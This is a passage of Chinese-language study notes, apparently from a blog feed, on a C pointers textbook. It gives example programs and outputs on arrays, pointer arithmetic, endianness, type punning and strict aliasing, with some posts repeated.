assert(sizeof B == 2 * 2 * 3 * sizeof(int));
assert(sizeof B[0] == 2 * 3 * sizeof(int));
assert(sizeof B[0][0] == 3 * sizeof(int));
assert(sizeof B[0][0][0] == sizeof(int));
p = (int *)B;
for (int i = 0; i < 2; i++) {
// p now points to row i
assert(p == (int *)B[i]);
for (int j = 0; j < 2; j++) {
// p now points to column j in row i
assert(p == (int *)(B[i] + j));
for (int k = 0; k < 3; k++) {
// p now points to the k'th element in B[i][j]
assert(B[i][j] + k == p);
assert(&B[i][j][k] == p);
assert(B[i][j][k] == *p);
p++;
}
}
}
return 0;
}
輸出:
無
程式8:pointers-arrays.c
#include <stdio.h>
#include <assert.h>
void not_what_you_want(int array[])
{
// sizeof(array) is sizeof(int *) here!
printf("%zu\n", sizeof array);
// Here, the array and the address of the array
// are different. array is a local variable
// that holds a pointer to the array!
printf("%p %p\n", (void *)array, (void *)&array);
}
int main(void)
{
int array[] = { 1, 2, 3, 4, 5 };
int *ap = array;
int (*ap2)[] = &array;
printf("sizeof array == %zu, sizeof ap == %zu, sizeof ap2 == %zu, sizeof *ap2\n",
sizeof array, sizeof ap, sizeof ap2);
printf("%p %p %p %p %p %p\n", (void *)array, (void *)&array,
(void *)ap, (void *)&ap, (void *)ap2, (void *)&ap2);
int n = sizeof array / sizeof *array;
for (int i = 0; i < n; i++) {
assert(array[i] == ap[i]);
assert(array + i == ap + i);
assert(*(array + i) == *(ap + i));
}
return 0;
}
輸出:
sizeof array == 20, sizeof ap == 8, sizeof ap2 == 8, sizeof *ap2
0x7fff3ecc55e0 0x7fff3ecc55e0 0x7fff3ecc55e0 0x7fff3ecc55d0 0x7fff3ecc55e0 0x7fff3ecc55d8
程式9:pointers-to-arrays.c
#include <stdio.h>
int main(void)
{
int array[10];
int (*ap1)[] = &array;
int (*ap2)[10] = &array;
int (*ap3)[5] = &array; // Warning
int (*ap4)[20] = &array; // Warning
int *ip = array;
printf("%p, sizeof array == %zu\n", (void *)array, sizeof array);
// We cannot get sizeof *ap1, it is an incomplete type.
printf("%p\n", (void *)*ap1);
printf("%p, sizeof *ap2 == %zu (%zu)\n",
(void *)*ap2, sizeof *ap2, 10 * sizeof(int));
printf("%p, sizeof *ap3 == %zu (%zu)\n",
(void *)*ap3, sizeof *ap3, 5 * sizeof(int));
printf("%p, sizeof *ap4 == %zu (%zu)\n",
(void *)*ap4, sizeof *ap4, 20 * sizeof(int));
printf("%p, sizeof *ip == %zu (%zu)\n",
(void *)ip, sizeof ip, sizeof(int *));
return 0;
}
輸出:
0x7ffe61ad0000, sizeof array == 40
0x7ffe61ad0000
0x7ffe61ad0000, sizeof *ap2 == 40 (40)
0x7ffe61ad0000, sizeof *ap3 == 20 (20)
0x7ffe61ad0000, sizeof *ap4 == 80 (80)
0x7ffe61ad0000, sizeof *ip == 8 (8)
程式10:simple.c
#include <stdio.h>
void add_array(int n, int array[n], int x)
{
for (int i = 0; i < n; i++) {
array[i] += x;
}
}
void add_pointers(int *begin, int *end, int x)
{
for ( ; begin < end; begin++) {
*begin += x;
}
}
int sum_array(int n, int array[n])
{
int sum = 0;
for (int i = 0; i < n; i++) {
sum += array[i];
}
return sum;
}
int sum_pointers_(int *begin, int *end)
{
int sum = 0;
for ( ; begin < end; begin++) {
sum += *begin;
}
return sum;
}
int sum_pointers(int *begin, int *end)
{
int sum = 0;
while (begin < end) {
sum += *begin++;
}
return sum;
}
void swap_array(int array[], int i, int j)
{
int tmp = array[j];
array[j] = array[i];
array[i] = tmp;
}
void reverse_array(int n, int array[n])
{
for (int i = 0; i < n/2; i++) {
swap_array(array, i, n - i - 1);
}
}
void swap_pointers(int *i, int *j)
{
int tmp = *i;
*i = *j;
*j = tmp;
}
void reverse_pointers(int *begin, int *end)
{
if (end <= begin) return;
end--; // point to last element
while (begin < end) {
swap_pointers(begin++, end--);
}
}
void print_array(int n, int array[n])
{
printf("[ ");
for (int i = 0; i < n; i++)
printf("%d ", array[i]);
printf("]\n");
}
int main(void)
{
int array[] = { 1, 2, 3, 4, 5 };
int n = sizeof array / sizeof *array;
add_array(n, array, 2);
print_array(n, array);
add_pointers(array, array + n, -2);
print_array(n, array);
printf("%d %d\n",
sum_array(n, array),
sum_pointers(array, array + n));
reverse_array(n, array);
print_array(n, array);
reverse_pointers(array, array + n);
print_array(n, array);
return 0;
}
輸出:
[ 3 4 5 6 7 ]
[ 1 2 3 4 5 ]
15 15
[ 5 4 3 2 1 ]
[ 1 2 3 4 5 ]
程式11:void.c
#include <stdio.h>
int main(int argc, char **argv)
{
void *vp = 0;
char *cp = 0;
int *ip = 0;
long *lp = 0;
for (int i = 0; i < 5; i++) {
char *p = vp; // so we can do arithmetic
printf("char: %p %p ", cp + i, p + i * sizeof(char));
printf("int: %p %p ", ip + i, p + i * sizeof(int));
printf("long: %p %p\n", lp + i, p + i * sizeof(long));
}
return 0;
}
輸出:
char: (nil) (nil) int: (nil) (nil) long: (nil) (nil)
char: 0x1 0x1 int: 0x4 0x4 long: 0x8 0x8
char: 0x2 0x2 int: 0x8 0x8 long: 0x10 0x10
char: 0x3 0x3 int: 0xc 0xc long: 0x18 0x18
char: 0x4 0x4 int: 0x10 0x10 long: 0x20 0x20
]]>Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第五章筆記。#include <assert.h>
void array_full_size(int A[10][10])
{
// A becomes a pointer to length 10 arrays
assert(sizeof A == sizeof(int (*)[10]));
assert(sizeof *A == 10 * sizeof(int));
}
void array_incomplete_size(int A[][10])
{
// A becomes a pointer to length 10 arrays
assert(sizeof A == sizeof(int (*)[10]));
assert(sizeof *A == 10 * sizeof(int));
}
void pointer(int (*A)[10])
{
// A is explicitly a pointer to length 10 arrays
assert(sizeof A == sizeof(int (*)[10]));
assert(sizeof *A == 10 * sizeof(int));
}
int main(void)
{
int A[10][10];
assert(sizeof A == 10 * 10 * sizeof(int));
array_full_size(A);
array_incomplete_size(A);
pointer(A);
int B[5][10];
assert(sizeof B == 5 * 10 * sizeof(int));
// B's first dimension is wrong, but no warnings
array_full_size(B);
array_incomplete_size(B);
pointer(B);
int C[10][5];
assert(sizeof C == 10 * 5 * sizeof(int));
// You get warnings here, because the
// second dimension doesn't match
array_full_size(C);
array_incomplete_size(C);
pointer(C);
return 0;
}
輸出:
無
程式2:function-calls.c
#include <stdio.h>
void pointer(int *a)
{
printf("pointer: %zu %zu\n", sizeof a, sizeof *a);
}
void array(int a[])
{
printf("array: %zu %zu\n", sizeof a, sizeof *a);
}
void array_with_size(int a[50])
{
printf("array[50]: %zu %zu\n", sizeof a, sizeof *a);
}
void array_with_parameter_size(int n, int a[n])
{
printf("array[n]: %zu %zu\n", sizeof a, sizeof *a);
}
void size_constrained(int a[static 4])
{
printf("size constrained a[0] == %d\n", a[0]);
}
void indirect_size_constrained(int a[static 2])
{
size_constrained(a); // No warning, though 2 < 4
}
void pointer_to_array(int (*a)[3])
{
printf("*a: %zu = %zu x %zu\n",
sizeof *a, sizeof *a / sizeof **a, sizeof **a);
}
void pointer_to_array_n(int n, int (*a)[n])
{
printf("*a with n = %d: %zu = %zu x %zu\n",
n, sizeof *a,
sizeof *a / sizeof **a, sizeof **a);
}
void indirect_pointer_to_array(int n, int (*array)[1])
{
pointer_to_array(array); // Warning, ok bcause 1 < 3
}
int main(void)
{
int n = 100;
int a[n]; a[0] = 42;
int b[2]; b[0] = 13;
int *p = b;
printf("declared: %zu %zu\n", sizeof a, sizeof *a);
pointer(a);
array(a);
array_with_size(a); // Ok, 100 > 5
array_with_size(b); // No warning although 2 < 50
array_with_parameter_size(n, a); // Ok, a has size n
array_with_parameter_size(n, b); // No warning but 2 < 100
size_constrained(b); // Warning (correct, 2 < 4)
size_constrained(p); // No warning, even though p == b
indirect_size_constrained(b); // No warning...
pointer_to_array(&a); // Ok, 100 > 3
pointer_to_array(&b); // Warning (correct 2 < 3)
pointer_to_array_n(10, &a); // Ok since 100 > 10
pointer_to_array_n(50, &b); // No warning, although 2 < 50
pointer_to_array(p); // Warning, ok since p does not point to array
pointer_to_array_n(10, p); // Warning, ditto
indirect_pointer_to_array(2, b);
return 0;
}
輸出:
declared: 400 4
pointer: 8 4
array: 8 4
array[50]: 8 4
array[50]: 8 4
array[n]: 8 4
array[n]: 8 4
size constrained a[0] == 13
size constrained a[0] == 13
size constrained a[0] == 13
*a: 12 = 3 x 4
*a: 12 = 3 x 4
*a with n = 10: 40 = 10 x 4
*a with n = 50: 200 = 50 x 4
*a: 12 = 3 x 4
*a with n = 10: 40 = 10 x 4
*a: 12 = 3 x 4
程式3:function-calls.c
#include <stdio.h>
#include <assert.h>
int main(void)
{
int array[] = { 0, 1, 2, 3, 4 };
int n = sizeof array / sizeof *array;
int *jp = array;
for (int i = 0; i < 5; i++) {
assert(array + i == jp + i);
assert(array[i] == jp[i]);
assert(array[i] == *(array + i));
assert(jp[i] == *(jp + i));
assert(i[array] == i[jp]);
}
int *ip = array;
char *p = (char *)array;
for (int i = 0; i < n; i++) {
printf("%p %p %p\n",
// int array has the right offset
(void *)(array + i),
// int * has the right offset
(void *)(ip + i),
// void * jumps in bytes...
(void *)(p + i * sizeof(int)));
}
char *end = (char *)array + sizeof array;
for (ip = array, p = (char *)array;
p != end;
ip++, p += sizeof *ip) {
printf("%p %p\n", (void *)ip, (void *)p);
}
return 0;
}
輸出:
0x7fff00748fa0 0x7fff00748fa0 0x7fff00748fa0
0x7fff00748fa4 0x7fff00748fa4 0x7fff00748fa4
0x7fff00748fa8 0x7fff00748fa8 0x7fff00748fa8
0x7fff00748fac 0x7fff00748fac 0x7fff00748fac
0x7fff00748fb0 0x7fff00748fb0 0x7fff00748fb0
0x7fff00748fa0 0x7fff00748fa0
0x7fff00748fa4 0x7fff00748fa4
0x7fff00748fa8 0x7fff00748fa8
0x7fff00748fac 0x7fff00748fac
0x7fff00748fb0 0x7fff00748fb0
程式4:jagged.c
#include <stdio.h>
#include <assert.h>
int main(void)
{
double *A[] = {
(double[]){1},
(double[]){2, 3},
(double[]){4, 5, 6}
};
int n = sizeof A / sizeof *A;
for (int i = 0; i < n; i++) {
for (int j = 0; j <= i; j++) {
printf("%2.2f ", A[i][j]);
}
printf("\n");
}
// not true: assert(sizeof A == 6 * sizeof(double));
assert(sizeof A == 3 * sizeof(double *));
assert(sizeof A[0] == sizeof(double *));
assert(sizeof A[1] == sizeof(double *));
assert(sizeof A[2] == sizeof(double *));
double row0[] = {1};
double row1[] = {2, 3};
double row2[] = {4, 5, 6};
double *B[] = { row0, row1, row2 };
assert(sizeof B == sizeof A);
assert(sizeof B[0] == sizeof A[0]);
double **p_A = A;
assert(p_A[0] == A[0]);
assert(p_A[1] == A[1]);
assert(p_A[0][0] == A[0][0]);
double *p_A1 = A[1];
assert(p_A1[0] == A[1][0]);
assert(p_A1[1] == A[1][1]);
return 0;
}
輸出:
1.00
2.00 3.00
4.00 5.00 6.00
注意以下這些宣告方式
double *A[] = {
(double[]){1},
(double[]){2, 3},
(double[]){4, 5, 6}
};
double row0[] = {1};
double row1[] = {2, 3};
double row2[] = {4, 5, 6};
double *B[] = { row0, row1, row2 };
程式5:matrix.c(2*2
矩陣相乘)
#include <stdio.h>
void mult(int n, int m, int l,
double C[n][m],
double const A[n][l],
double const B[l][m])
{
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
double x = 0.0;
for (int k = 0; k < l; k++) {
x += A[i][k] * B[k][j];
}
C[i][j] = x;
}
}
}
void print_matrix(int n, int m, double const A[n][m])
{
for (int i = 0; i < n; i++) {
for (int j = 0; j < m; j++) {
printf("%2.2f ", A[i][j]);
}
printf("\n");
}
}
int main(void)
{
double A[2][3] = {
{ 1, 2, 3 },
{ 4, 5, 6 }
};
double B[3][2] = {
{ 1, 2 },
{ 3, 4 },
{ 5, 6 }
};
double C[2][2];
mult(2, 2, 3, C, A, B);
print_matrix(2, 2, C);
return 0;
}
輸出:
22.00 28.00
49.00 64.00
程式6:multi-dim-repr-2.c
#include <stdio.h>
int main(void)
{
int C[2][2][3] = {
{ { 1, 2, 3 }, { 4, 5, 6 } },
{ { 7, 8, 9 }, { 10, 11, 12 } }
};
int dim1 = sizeof C / sizeof C[0];
int dim2 = sizeof C[0] / sizeof C[0][0];
int dim3 = sizeof C[0][0] / sizeof C[0][0][0];
printf("C dimensions %d x %d x %d\n", dim1, dim2, dim3);
printf("First element in each row: ");
int (*first_dim_p)[2][3] = C;
int (*first_end)[2][3] = C + dim1;
for ( ; first_dim_p < first_end; first_dim_p++) {
printf("%d ", *(int*)first_dim_p);
}
printf("\n");
printf("First element in each column: ");
int (*second_dim_p)[3] = (int (*)[3])C;
int (*second_end)[3] = (int (*)[3])C + dim1 * dim2;
for ( ; second_dim_p < second_end; second_dim_p++) {
printf("%d ", *(int*)second_dim_p);
}
printf("\n");
return 0;
}
輸出:
C dimensions 2 x 2 x 3
First element in each row: 1 7
First element in each column: 1 4 7 10
程式7:multi-dim-repr.c
#include <assert.h>
int main(void)
{
int A[2][3] = {
{ 1, 2, 3 },
{ 4, 5, 6 }
};
assert(sizeof A == 2 * 3 * sizeof(int));
assert(sizeof *A == 3 * sizeof(int));
assert(sizeof A[0] == 3 * sizeof(int));
assert(sizeof A[0][0] == sizeof(int));
int *p = (int *)A;
for (int i = 0; i < 2; i++) {
// p now points to the first element in row i
assert(p == A[i]);
for (int j = 0; j < 3; j++) {
// p points to column j in row i
assert(A[i] + j == p);
assert(&A[i][j] == p);
assert(A[i][j] == *p);
p++;
}
}
int B[2][2][3] = {
{ { 1, 2, 3 }, { 4, 5, 6 } },
{ { 7, 8, 9 }, { 10, 11, 12 } }
};
assert(sizeof B == 2 * 2 * 3 * sizeof(int));
assert(sizeof B[0] == 2 * 3 * sizeof(int));
assert(sizeof B[0][0] == 3 * sizeof(int));
assert(sizeof B[0][0][0] == sizeof(int));
p = (int *)B;
for (int i = 0; i < 2; i++) {
// p now points to row i
assert(p == (int *)B[i]);
for (int j = 0; j < 2; j++) {
// p now points to column j in row i
assert(p == (int *)(B[i] + j));
for (int k = 0; k < 3; k++) {
// p now points to the k'th element in B[i][j]
assert(B[i][j] + k == p);
assert(&B[i][j][k] == p);
assert(B[i][j][k] == *p);
p++;
}
}
}
return 0;
}
輸出:
無
程式8:pointers-arrays.c
#include <stdio.h>
#include <assert.h>
void not_what_you_want(int array[])
{
// sizeof(array) is sizeof(int *) here!
printf("%zu\n", sizeof array);
// Here, the array and the address of the array
// are different. array is a local variable
// that holds a pointer to the array!
printf("%p %p\n", (void *)array, (void *)&array);
}
int main(void)
{
int array[] = { 1, 2, 3, 4, 5 };
int *ap = array;
int (*ap2)[] = &array;
printf("sizeof array == %zu, sizeof ap == %zu, sizeof ap2 == %zu, sizeof *ap2\n",
sizeof array, sizeof ap, sizeof ap2);
printf("%p %p %p %p %p %p\n", (void *)array, (void *)&array,
(void *)ap, (void *)&ap, (void *)ap2, (void *)&ap2);
int n = sizeof array / sizeof *array;
for (int i = 0; i < n; i++) {
assert(array[i] == ap[i]);
assert(array + i == ap + i);
assert(*(array + i) == *(ap + i));
}
return 0;
}
輸出:
sizeof array == 20, sizeof ap == 8, sizeof ap2 == 8, sizeof *ap2
0x7fff3ecc55e0 0x7fff3ecc55e0 0x7fff3ecc55e0 0x7fff3ecc55d0 0x7fff3ecc55e0 0x7fff3ecc55d8
程式9:pointers-to-arrays.c
#include <stdio.h>
int main(void)
{
int array[10];
int (*ap1)[] = &array;
int (*ap2)[10] = &array;
int (*ap3)[5] = &array; // Warning
int (*ap4)[20] = &array; // Warning
int *ip = array;
printf("%p, sizeof array == %zu\n", (void *)array, sizeof array);
// We cannot get sizeof *ap1, it is an incomplete type.
printf("%p\n", (void *)*ap1);
printf("%p, sizeof *ap2 == %zu (%zu)\n",
(void *)*ap2, sizeof *ap2, 10 * sizeof(int));
printf("%p, sizeof *ap3 == %zu (%zu)\n",
(void *)*ap3, sizeof *ap3, 5 * sizeof(int));
printf("%p, sizeof *ap4 == %zu (%zu)\n",
(void *)*ap4, sizeof *ap4, 20 * sizeof(int));
printf("%p, sizeof *ip == %zu (%zu)\n",
(void *)ip, sizeof ip, sizeof(int *));
return 0;
}
輸出:
0x7ffe61ad0000, sizeof array == 40
0x7ffe61ad0000
0x7ffe61ad0000, sizeof *ap2 == 40 (40)
0x7ffe61ad0000, sizeof *ap3 == 20 (20)
0x7ffe61ad0000, sizeof *ap4 == 80 (80)
0x7ffe61ad0000, sizeof *ip == 8 (8)
程式10:simple.c
#include <stdio.h>
void add_array(int n, int array[n], int x)
{
for (int i = 0; i < n; i++) {
array[i] += x;
}
}
void add_pointers(int *begin, int *end, int x)
{
for ( ; begin < end; begin++) {
*begin += x;
}
}
int sum_array(int n, int array[n])
{
int sum = 0;
for (int i = 0; i < n; i++) {
sum += array[i];
}
return sum;
}
int sum_pointers_(int *begin, int *end)
{
int sum = 0;
for ( ; begin < end; begin++) {
sum += *begin;
}
return sum;
}
int sum_pointers(int *begin, int *end)
{
int sum = 0;
while (begin < end) {
sum += *begin++;
}
return sum;
}
void swap_array(int array[], int i, int j)
{
int tmp = array[j];
array[j] = array[i];
array[i] = tmp;
}
void reverse_array(int n, int array[n])
{
for (int i = 0; i < n/2; i++) {
swap_array(array, i, n - i - 1);
}
}
void swap_pointers(int *i, int *j)
{
int tmp = *i;
*i = *j;
*j = tmp;
}
void reverse_pointers(int *begin, int *end)
{
if (end <= begin) return;
end--; // point to last element
while (begin < end) {
swap_pointers(begin++, end--);
}
}
void print_array(int n, int array[n])
{
printf("[ ");
for (int i = 0; i < n; i++)
printf("%d ", array[i]);
printf("]\n");
}
int main(void)
{
int array[] = { 1, 2, 3, 4, 5 };
int n = sizeof array / sizeof *array;
add_array(n, array, 2);
print_array(n, array);
add_pointers(array, array + n, -2);
print_array(n, array);
printf("%d %d\n",
sum_array(n, array),
sum_pointers(array, array + n));
reverse_array(n, array);
print_array(n, array);
reverse_pointers(array, array + n);
print_array(n, array);
return 0;
}
輸出:
[ 3 4 5 6 7 ]
[ 1 2 3 4 5 ]
15 15
[ 5 4 3 2 1 ]
[ 1 2 3 4 5 ]
程式11:void.c
#include <stdio.h>
int main(int argc, char **argv)
{
void *vp = 0;
char *cp = 0;
int *ip = 0;
long *lp = 0;
for (int i = 0; i < 5; i++) {
char *p = vp; // so we can do arithmetic
printf("char: %p %p ", cp + i, p + i * sizeof(char));
printf("int: %p %p ", ip + i, p + i * sizeof(int));
printf("long: %p %p\n", lp + i, p + i * sizeof(long));
}
return 0;
}
輸出:
char: (nil) (nil) int: (nil) (nil) long: (nil) (nil)
char: 0x1 0x1 int: 0x4 0x4 long: 0x8 0x8
char: 0x2 0x2 int: 0x8 0x8 long: 0x10 0x10
char: 0x3 0x3 int: 0xc 0xc long: 0x18 0x18
char: 0x4 0x4 int: 0x10 0x10 long: 0x20 0x20
]]>
Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第四章筆記。#include <stdio.h>
int main(void)
{
int a[] = { 1, 2, 3, 4, 5 };
int n = sizeof a / sizeof *a;
for (int i = 0; i < n; i++) {
printf("%d = [", a[i]);
char *cp = (char *)(a + i);
for (int j = 0; j < sizeof(*a); j++) {
printf(" %d ", cp[j]);
}
printf("]\n");
}
return 0;
}
輸出:
1 = [ 1 0 0 0 ]
2 = [ 2 0 0 0 ]
3 = [ 3 0 0 0 ]
4 = [ 4 0 0 0 ]
5 = [ 5 0 0 0 ]
For the array, a + i is i integers past a, but cp +
j is j characters past cp. The type of the pointer/array determines what the step size is
when we add a number to them.
至於為什麼是0在後面,則跟big-endian或little-endian有關。
big-endian&little-endian模擬程式如下
程式2:endianess.c
#include <stdio.h>
int little_endianess(int i)
{
char *cp = (char *)&i;
int result = 0, coef = 1;
for (int j = 0; j < sizeof i; j++) {
result += coef * cp[j];
coef *= 256;
}
return result;
}
int big_endianess(int i)
{
char *cp = (char *)&i;
int result = 0, coef = 1;
for (int j = sizeof i - 1; j >= 0; j--) {
result += coef * cp[j];
coef *= 256;
}
return result;
}
int main(void)
{
for (int i = 0; i < 10; i++) {
printf("%d: little = %d, big = %d\n",
i, little_endianess(i), big_endianess(i));
}
return 0;
}
輸出:
0: little = 0, big = 0
1: little = 1, big = 16777216
2: little = 2, big = 33554432
3: little = 3, big = 50331648
4: little = 4, big = 67108864
5: little = 5, big = 83886080
6: little = 6, big = 100663296
7: little = 7, big = 117440512
8: little = 8, big = 134217728
9: little = 9, big = 150994944
big-endian&little-endian圖示如下:
指標混亂的別名情況...比如說用int的方式解釋double就會出問題,以下範例:
程式3:interpretation.c
#include <stdio.h>
int main(void)
{
printf("sizes: double = %zu, long = %zu, int = %zu, char = %zu\n",
sizeof(double), sizeof(long), sizeof(int), sizeof(char));
double d;
double *dp = &d;
long *lp = (long *)&d;
int *ip = (int *)&d;
char *cp = (char *)&d;
printf("dp == %p, lp = %p\nip == %p, cp == %p\n\n", dp, lp, ip, cp);
d = 42.0;
printf("*dp == %.20f, *lp == %ld, *ip == %d, *cp == %d\n",
*dp, *lp, *ip, *cp);
*ip = 4200;
printf("*dp == %.20f, *lp == %ld, *ip == %d, *cp == %d\n",
*dp, *lp, *ip, *cp);
*cp = 42;
printf("*dp == %.20f, *lp == %ld, *ip == %d, *cp == %d\n",
*dp, *lp, *ip, *cp);
return 0;
}
輸出:
sizes: double = 8, long = 8, int = 4, char = 1
dp == 0x7ffd35de8030, lp = 0x7ffd35de8030
ip == 0x7ffd35de8030, cp == 0x7ffd35de8030
*dp == 42.00000000000000000000, *lp == 4631107791820423168, *ip == 0, *cp == 0
*dp == 42.00000000002984279490, *lp == 4631107791820427368, *ip == 4200, *cp == 104
*dp == 42.00000000002940225841, *lp == 4631107791820427306, *ip == 4138, *cp == 42
指標vs陣列
程式4:
#include <stdio.h>
#include <assert.h>
int main(void)
{
int a[] = { 1, 2, 3, 4, 5 };
int n = sizeof a / sizeof *a;
// get a pointer to the beginning of a
int *ip = a;
char *cp = (char *)a;
for (int i = 0; i < n; i++) {
printf("a[%d] sits at %p / %p / %p\n",
i, (void *)&a[i], (void *)(ip + i),
(void *)(cp + i * sizeof(int)));
}
for (int i = 0; i < n; i++) {
// Add an integer to a pointer/array
// to get an element at an offset
assert(ip + i == a + i);
// The offset is the address at
// that index
assert(ip + i == &a[i]);
// Dereference and you get the value
assert(*(ip + i) == a[i]);
// The index operator is also valid
// for pointers
assert(ip[i] == a[i]);
}
return 0;
}
輸出:
a[0] sits at 0x7fff6b15e800 / 0x7fff6b15e800 / 0x7fff6b15e800
a[1] sits at 0x7fff6b15e804 / 0x7fff6b15e804 / 0x7fff6b15e804
a[2] sits at 0x7fff6b15e808 / 0x7fff6b15e808 / 0x7fff6b15e808
a[3] sits at 0x7fff6b15e80c / 0x7fff6b15e80c / 0x7fff6b15e80c
a[4] sits at 0x7fff6b15e810 / 0x7fff6b15e810 / 0x7fff6b15e810
程式5:strict-alias.c
#include <stdio.h>
#include <stdalign.h>
int f(int *i, long *l)
{
*i = -1;
*l = 0;
return *i;
}
int g(char *c, long *l)
{
*c = -1;
*l = 0;
return *c;
}
int h(double *c, long *l)
{
*c = -1;
*l = 0;
return (int)*c;
}
int main(void)
{
long x;
int i = f((int *)&x, &x);
printf("x == %ld, f(&x,&x) == %d\n", x, i);
i = g((char *)&x, &x);
printf("x == %ld, g(&x,&x) == %d\n", x, i);
i = h((double *)&x, &x);
printf("x == %ld, h(&x,&x) == %d\n", x, i);
return 0;
}
The strict alias rule says that i and l cannot point to the same object, because they
do not have compatible types. So when the compiler works out what to return from f(),
it can see that we just assigned -1 to *i
, and the rule tells it that the assignment to *l
cannot have changed that, so it concludes that it can return -1 and that it does not need
to fetch *i
once more from memory.
根據以上敘述,可知有無開優化,結果會不同。
沒開優化輸出:
x == 0, f(&x,&x) == 0
x == 0, g(&x,&x) == 0
x == 0, h(&x,&x) == 0
有開優化輸出
x == 0, f(&x,&x) == -1
x == 0, g(&x,&x) == 0
x == 0, h(&x,&x) == -1
程式6:void.c
#include <stdio.h>
#include <string.h>
int int_compare(void const *x, void const *y)
{
// Get the objects, and interpret them as integers
int const *a = x;
int const *b = y;
return *a - *b;
}
int string_compare(void const *x, void const *y)
{
// Get the objects and interpet them as strings
char * const *a = x;
char * const *b = y;
return strcmp(*a, *b);
}
int main(void)
{
int int_array[] = { 10, 5, 30, 15, 20, 30 };
int int_array_length =
sizeof int_array / sizeof *int_array;
qsort(int_array, int_array_length,
sizeof *int_array, int_compare);
printf("int_array = ");
for (int i = 0; i < int_array_length; i++) {
printf("%d, ", int_array[i]);
}
printf("\n");
char *string_array[] = { "foo", "bar", "baz" };
int string_array_length =
sizeof string_array / sizeof *string_array;
qsort(string_array, string_array_length,
sizeof *string_array, string_compare);
printf("string_array = ");
for (int i = 0; i < string_array_length; i++) {
printf("%s, ", string_array[i]);
}
printf("\n");
return 0;
}
輸出:
int_array = 5, 10, 15, 20, 30, 30,
string_array = bar, baz, foo,
]]>Pointers in C Programming A Modern Approach to Memory Management, Recursive Data Structures, Strings, and Arrays
這本書第四章筆記。#include <stdio.h>
int main(void)
{
int a[] = { 1, 2, 3, 4, 5 };
int n = sizeof a / sizeof *a;
for (int i = 0; i < n; i++) {
printf("%d = [", a[i]);
char *cp = (char *)(a + i);
for (int j = 0; j < sizeof(*a); j++) {
printf(" %d ", cp[j]);
}
printf("]\n");
}
return 0;
}
輸出:
1 = [ 1 0 0 0 ]
2 = [ 2 0 0 0 ]
3 = [ 3 0 0 0 ]
4 = [ 4 0 0 0 ]
5 = [ 5 0 0 0 ]
For the array, a + i is i integers past a, but cp +
j is j characters past cp. The type of the pointer/array determines what the step size is
when we add a number to them.
至於為什麼是0在後面,則跟big-endian或little-endian有關。
big-endian&little-endian模擬程式如下
程式2:endianess.c
#include <stdio.h>
int little_endianess(int i)
{
char *cp = (char *)&i;
int result = 0, coef = 1;
for (int j = 0; j < sizeof i; j++) {
result += coef * cp[j];
coef *= 256;
}
return result;
}
int big_endianess(int i)
{
char *cp = (char *)&i;
int result = 0, coef = 1;
for (int j = sizeof i - 1; j >= 0; j--) {
result += coef * cp[j];
coef *= 256;
}
return result;
}
int main(void)
{
for (int i = 0; i < 10; i++) {
printf("%d: little = %d, big = %d\n",
i, little_endianess(i), big_endianess(i));
}
return 0;
}
輸出:
0: little = 0, big = 0
1: little = 1, big = 16777216
2: little = 2, big = 33554432
3: little = 3, big = 50331648
4: little = 4, big = 67108864
5: little = 5, big = 83886080
6: little = 6, big = 100663296
7: little = 7, big = 117440512
8: little = 8, big = 134217728
9: little = 9, big = 150994944
big-endian&little-endian圖示如下:
指標混亂的別名情況...比如說用int的方式解釋double就會出問題,以下範例:
程式3:interpretation.c
#include <stdio.h>
int main(void)
{
printf("sizes: double = %zu, long = %zu, int = %zu, char = %zu\n",
sizeof(double), sizeof(long), sizeof(int), sizeof(char));
double d;
double *dp = &d;
long *lp = (long *)&d;
int *ip = (int *)&d;
char *cp = (char *)&d;
printf("dp == %p, lp = %p\nip == %p, cp == %p\n\n", dp, lp, ip, cp);
d = 42.0;
printf("*dp == %.20f, *lp == %ld, *ip == %d, *cp == %d\n",
*dp, *lp, *ip, *cp);
*ip = 4200;
printf("*dp == %.20f, *lp == %ld, *ip == %d, *cp == %d\n",
*dp, *lp, *ip, *cp);
*cp = 42;
printf("*dp == %.20f, *lp == %ld, *ip == %d, *cp == %d\n",
*dp, *lp, *ip, *cp);
return 0;
}
輸出:
sizes: double = 8, long = 8, int = 4, char = 1
dp == 0x7ffd35de8030, lp = 0x7ffd35de8030
ip == 0x7ffd35de8030, cp == 0x7ffd35de8030
*dp == 42.00000000000000000000, *lp == 4631107791820423168, *ip == 0, *cp == 0
*dp == 42.00000000002984279490, *lp == 4631107791820427368, *ip == 4200, *cp == 104
*dp == 42.00000000002940225841, *lp == 4631107791820427306, *ip == 4138, *cp == 42
指標vs陣列
程式4:
#include <stdio.h>
#include <assert.h>
int main(void)
{
int a[] = { 1, 2, 3, 4, 5 };
int n = sizeof a / sizeof *a;
// get a pointer to the beginning of a
int *ip = a;
char *cp = (char *)a;
for (int i = 0; i < n; i++) {
printf("a[%d] sits at %p / %p / %p\n",
i, (void *)&a[i], (void *)(ip + i),
(void *)(cp + i * sizeof(int)));
}
for (int i = 0; i < n; i++) {
// Add an integer to a pointer/array
// to get an element at an offset
assert(ip + i == a + i);
// The offset is the address at
// that index
assert(ip + i == &a[i]);
// Dereference and you get the value
assert(*(ip + i) == a[i]);
// The index operator is also valid
// for pointers
assert(ip[i] == a[i]);
}
return 0;
}
輸出:
a[0] sits at 0x7fff6b15e800 / 0x7fff6b15e800 / 0x7fff6b15e800
a[1] sits at 0x7fff6b15e804 / 0x7fff6b15e804 / 0x7fff6b15e804
a[2] sits at 0x7fff6b15e808 / 0x7fff6b15e808 / 0x7fff6b15e808
a[3] sits at 0x7fff6b15e80c / 0x7fff6b15e80c / 0x7fff6b15e80c
a[4] sits at 0x7fff6b15e810 / 0x7fff6b15e810 / 0x7fff6b15e810
程式5:strict-alias.c
#include <stdio.h>
#include <stdalign.h>
int f(int *i, long *l)
{
*i = -1;
*l = 0;
return *i;
}
int g(char *c, long *l)
{
*c = -1;
*l = 0;
return *c;
}
int h(double *c, long *l)
{
*c = -1;
*l = 0;
return (int)*c;
}
int main(void)
{
long x;
int i = f((int *)&x, &x);
printf("x == %ld, f(&x,&x) == %d\n", x, i);
i = g((char *)&x, &x);
printf("x == %ld, g(&x,&x) == %d\n", x, i);
i = h((double *)&x, &x);
printf("x == %ld, h(&x,&x) == %d\n", x, i);
return 0;
}
The strict alias rule says that i and l cannot point to the same object, because they
do not have compatible types. So when the compiler works out what to return from f(),
